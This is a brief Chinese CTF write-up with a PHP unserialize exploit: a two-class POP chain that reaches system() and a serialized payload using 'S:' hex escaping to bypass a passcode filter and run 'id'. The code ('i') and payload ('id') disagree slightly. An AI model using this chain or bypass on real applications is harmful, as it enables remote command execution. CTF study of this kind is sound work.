这题解法很多，两个类就行了，KSEC_CTF_2026用S解析绕过，exp：

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 <?php

class GateKeeper
{
    public $passcode = "KSEC_CTF_2026";
    public $target;

    public function __wakeup()
    {
        if ($this->passcode !== "KSEC_CTF_2026") {
            die("Access Denied! Invalid passcode.");
        }
    }

    public function __toString()
    {
        return $this->target->process();
    }
}

class MethodHandler
{
    public $method = "system";
    public $args = "i";

    public function __call($name, $arguments)
    {
        if ($name === 'process') {
            $func = $this->method;
            return $func($this->args);
        }
        return null;
    }
}

$a = new GateKeeper();
$a->target = new MethodHandler();

echo serialize($a);

?> No data provided.

O:10:"GateKeeper":2:{s:8:"passcode";S:13:"\4bSEC_CTF_2026";s:6:"target";O:13:"MethodHandler":2:{s:6:"method";s:6:"system";s:4:"args";s:2:"id";}}